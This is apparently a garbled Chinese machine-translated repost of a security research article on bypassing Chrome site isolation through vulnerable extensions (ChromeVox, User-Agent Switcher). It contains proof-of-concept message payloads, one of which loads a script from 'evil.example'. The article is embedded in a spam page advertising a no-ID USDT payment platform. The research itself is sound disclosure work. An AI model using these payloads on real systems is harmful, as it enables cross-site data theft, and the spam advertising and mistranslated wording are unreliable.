usdt不用实名买入卖出(www.caibao.it):深度剖析站点隔离机制,Part 2(下)

admin/2021-01-22/ 分类:马鞍山科技/阅读:

在本文的上篇中,我们为读者先容了在审查Chromium于2019年对站点隔离机制所做改善的过程中发现的种种平安破绽。在本文中,我们将与读者一道,继续咱们的审查之旅。

深度剖析站点隔离机制,Part 1

深度剖析站点隔离机制,Part 2(上)

其他研究人员发现的站点隔离绕过方式

现实上,其他研究人员已经发现了许多很好的站点隔离绕过方式。

通过笼罩Host头部绕过站点隔离机制

Ivan Fratric已经发现了一个破绽,通过它可以在重定向时笼罩种种请求头部,包罗Host头部。虽然没有明确提到若何行使这个破绽,但这个破绽允许在向攻击者的网站发出的请求中附加隶属于其他网站的cookie。

这是一个异常有趣的破绽,它行使了浏览器附加cookies的决议方式。

行使Payment Handler API破绽绕过站点隔离措施,并泄露内陆文件

Sergei Glazunov在Payment Handler API中发现了一个破绽,即openWindow方式中的url参数的同源检查只在渲染器历程中举行,因此,可以行使被入侵的渲染器绕过该项检查。

Sergei先容了2种行使该破绽的方式:

1. 内陆文件泄露

攻击者下载一个包罗渲染器exploit的HTML文件。然后,攻击者可以行使openWindow中的破绽打开下载的文件。由于任何File URL都被视为同源的,以是下载的文件现在可以读取任何内陆文件,并允许将其内容发送到远程服务器。

2. UXSS(等效)

Sergei还注重到,当行使openWindow中的破绽打开一个Javascript URL时,不会为天生的历程指定Site。而Chrome浏览器会在该窗口中重用同一个历程举行导航。这意味着,攻击者可以通过打开Javascript URL来损坏渲染器历程,然后在攻击者完全控制该历程的情况下下令Chrome导航到任何网站。这本质上就是一个UXSS,尽管它的原语要比UXSS壮大得多(由于它可以挪用内陆函数,而不是JS函数)。

Blob URL注册中的站点隔离绕过破绽

Sergei Glazunov注重到,Blob URL注册的平安检查与历程有效性检查是一起举行的。

if (!delegate_->CanCommitURL(url) && delegate_->IsProcessValid()) {   // kill the rendere process. }

而Sergei发现,通过一个被入侵的渲染器,可以让一个历程无效(即让IsProcessValid()返回false),同时让渲染器历程仍处于存活状态。因此,Sergei能够借此绕过平安检查,为随便网站建立Blob URL(即UXSS破绽)。

这个破绽是一个令人难以置信的发现,由于这不仅需要深入领会历程终止的内部机制,还得能够找到含有破绽的代码。

滥用扩展来绕过站点隔离

在多种绕过站点隔离的方式被曝光之后,显然低垂的果实已经靠近用尽。于是,我改变了思绪,最先寻找默认情况下允许接见跨站数据的历程,而扩展的历程似乎很有希望。

后台剧本和内容剧本

Chrome扩展支持2种剧本:

· 后台剧本(在扩展历程中执行)

· 内容剧本(注入到渲染器历程中)

后台剧本是一个具有特权的剧本,它不仅可以绕过CORS,还可以向扩展有接见权限的站点中注入随便剧本。

另外,内容剧本和后台剧本之间还存在响应的通讯通道。

· chrome.runtime.sendMessage -> chrome.runtime.onMessage.addListener

· chrome.extension.sendMessage -> chrome.extension.onMessage.addListener

· chrome.extension.sendRequest -> chrome.extension.onRequest.addListener

· port.postMessage -> port.onMessage.addListener

· chrome.storage.local.set -> chrome.storage.local.get

· etc

虽然内容剧本运行在一个隔离的天下中,但它仍然运行在渲染器历程内部。而且,由于许多扩展会给所有网站注入一个内容剧本(如密码管理器扩展、广告阻挡扩展等),因此,被入侵的渲染器可以通过上述通讯渠道给后台剧本发送新闻

,

Usdt第三方支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

但我不确定是否有扩展会对内容剧本通报的新闻做手脚,以是,我最先对扩展举行审计,看看这种手艺的现实可行使性到底有多高。

Screen Reader扩展中的破绽

Screen Reader扩展,又名ChromeVox,是由Chrome团队开发的一款扩展。这个扩展的特别之处在于,它已经被Chrome列入了白名单,因此,它可以将内容剧本注入到New Tab Page、Devtools、Chrome Extension Store等页面中,而这些页面通常是不允许被扩展注入剧本的。在写这篇文章的时刻,这个扩展已经拥有10万多用户。

UXSS

于是,我最先考察该扩展的代码,不久之后,后台剧本中的新闻侦听器就引起了我的注重。

var target = msg['target']; var action = msg['action']; switch (target) { ...   case 'Prefs':       if (action == 'getPrefs') {           this.prefs.sendPrefsToPort(port);       } else if (action == 'setPref') {           var pref = (msg['pref']);           var announce = !!msg['announce'];           cvox.ChromeVoxBackground.setPref(pref, msg['value'], announce);       }       break;

其中,msg是从内容剧本吸收的新闻工具。这段代码本质上允许内容剧本获取或设置首选项。以是,我最先寻找可能允许我们行使这个破绽的首选项。而幸运的是,有一个名为siteSpecificscriptLoader的首选项。若是这个首选项被设置为URL,扩展就会读取该URL的内容,并将其作为内容剧本注入所有网站!

若是渲染器被入侵,那么发送下面的新闻将会导致UXSS攻击,同时还会在一些特权页面中运行剧本。

cvox.ChromeVox.host.sendToBackgroundPage({'target': 'Prefs', 'action': 'setPref', 'pref': 'siteSpecificscriptLoader', 'value': 'https://evil.example/bad.js', 'announce': true});

CORS绕过手艺

除此之外,我还注重到了另外一个有趣的新闻侦听器。 

cvox.InjectedscriptLoader.fetchCode = function(files, done) {     var code = {};     var waiting = files.length;     var loadscriptAsCode = function(src) {         var xhr = new XMLHttpRequest();         var url = chrome.extension.getURL(src)   '?'   new Date().getTime();         xhr.onreadystatechange = function() {             if (xhr.readyState == 4) {                 var scriptText = xhr.responseText;                 ...                 code[src] = scriptText;                 waiting--;                 if (waiting == 0) {                     done(code);                 }             }         };         xhr.open('GET', url);         xhr.send(null);     };     files.forEach(function(f) {         loadscriptAsCode(f);     }); };   ...   chrome.extension.onMessage.addListener(function(request, sender, callback) {     if (request['srcFile']) {         var srcFile = request['srcFile'];         cvox.InjectedscriptLoader.fetchCode([srcFile], function(code) {             callback({                 'code': code[srcFile]             });         });     }     return true; });

这段代码获得的srcFile是一个URL,之后会通过chrome.extension.getURL将这个URL转换为一个完整的URL,然后,使用XHR来获取文件并将其内容返回给内容剧本。

到现在为止,一切似乎都很正常,但由于chrome.extension.getURL中的一个新鲜的bug,导致了一个严重的平安问题。以前,若是你向chrome.extension.getURL提供一个完整的URL,它会原封不动地返回该URL,这一点不同于chrome.runtime.getURL。        

> chrome.runtime.getURL(“https://test.example”); "chrome-extension://foo/https://test.example" > chrome.extension.getURL(“https://test.example”); "https://test.example"

通过滥用这种行为,我们可以使用上面的侦听器获取任何网站的内容,由于后台剧本可以绕过CORS。 

chrome.extension.sendMessage({srcFile: 'https://www.google.com'}, content => {alert(content)});

内陆文件泄露

经由进一步观察后,我又发现了一个可疑的新闻侦听器:

var target = msg['target']; var action = msg['action']; switch (target) { ...   case 'OpenTab':       var destination = {               url: msg['url']       };       chrome.tabs.create(destination);       break;

这也是一个含有UXSS破绽的侦听器。但就这里来说,它会从新闻工具中获取一个URL,并将其直接通报给chrome.tabs.create。那么,问题出在那里呢?由于chrome.tabs.create是一个扩展API,它可以打开那些无法通过网站打开的URL,好比文件URL和Chrome URL(用于浏览器内部页面)。

cvox.ChromeVox.host.sendToBackgroundPage({'target': 'OpenTab', 'url': 'chrome://settings'});

通过使用Sergei发现的破绽的行使方式,攻击者就能够实现内陆文件泄露攻击。

 

浏览历史记录泄露

众所周知,Screen Reader扩展总是会将最近接见过的20个URL露出给所有内容剧本。

cvox.ChromeVox.visitedUrls;

这不需要借助被入侵的渲染器,由于Spectre破绽应该能够读取渲染器历程的内存。

Chrome浏览器的用户署理切换器

Chrome浏览器的User-Agent Switcher for Chrome是一款允许用户在接见网站时更改用户署理的扩展。在撰写这篇文章的时刻,这个扩展已经有2M 的用户。

在审查该扩展的代码时,我很快就发现了一个可疑的新闻侦听器。

chrome.extension.onRequest.addListener(     function(request, sender, sendResponse) {         ...         else if (request.action == "add_ua") {             addCustomUAOption(request.name, request.user_agent, request.append_to_default_ua, request.indicator);         ...         }

这现实上就是允许新闻发送者添加新的用户署理字符串。那么,我们能用它做些什么呢?由于该扩展还试图在页面的Javascript中伪造用户署理(即Navigator.userAgent),因此,以下内容剧本被注入到每个站点中。

var a = document.createElement("script"); a.type = "text/javascript"; a.innerText  = "Object.defineProperty(window.navigator, 'userAgent', { get: function(){ return '"   (b.append_to_default_ua ? navigator.userAgent   ' '   b.ua_string : b.ua_string)   "'; } });"; ... document.documentElement.insertBefore(a, document.documentElement.firstChild);

现实上,这个内容剧本还存在一个XSS破绽,若是用户署理字符串可以被攻击者控制的话。同时,由于被入侵的渲染器历程可以发送新闻来添加随便的用户署理字符串,这就导致了一个UXSS破绽。

chrome.extension.sendRequest({action: 'add_ua', name: 'Edge', user_agent: "Edge' alert(origin) '", append_to_default_ua: true, indicator: 'Edge'});

我已经向谷歌报告了这个平安破绽,而且,现在该破绽已经获得了修复。

其他扩展

鉴于已经在谷歌开发的扩展中发现了多个破绽,因此,我决议研究一下其他常用的扩展,这一研究没关系,效果又发现了多处破绽。不外,我并不计划深入解说这些手艺细节,相反,这里只做提要先容(所有这些平安问题都已被修复)。

· 行使被入侵的渲染器,从LastPass扩展(10M 用户)中窃取所有的用户名和密码。

· 行使被入侵的渲染器,从Dashlane扩展(4M 用户)中窃取所有的用户名、密码和信用卡信息。

· 在uBlock Origin扩展(10M 用户)中,行使被入侵的渲染器,实行UXSS、CORS绕过和内陆文件泄露攻击。

· 行使被入侵的渲染器,从Keeper Security扩展(300k 用户)中窃取所有信用卡信息(30万 用户)。

由此可见,信托来自内容剧本的信息的征象在扩展中是相当普遍的。

小结

看到站点隔离能够在多大程度上削减渲染器攻击所造成的损害,这确实令人兴奋。然而,一旦安装了扩展,渲染器exploit通过扩展绕过站点隔离的机遇就会陡增。因此,浏览器扩展开发者应该注重这些攻击面,并始终验证新闻发送者的源或URL。对于用户来说,则应该只安装真正可信的浏览器扩展。

本文翻译自:https://microsoftedge.github.io/edgevr/posts/deep-dive-into-site-isolation-part-2/:
TAG:技术
阅读:
广告 330*360
广告 330*360
马鞍山新闻网
微信二维码扫一扫
关注微信公众号
新闻自媒体 Copyright © 2002-2019 马鞍山新闻网 版权所有
二维码
意见反馈 二维码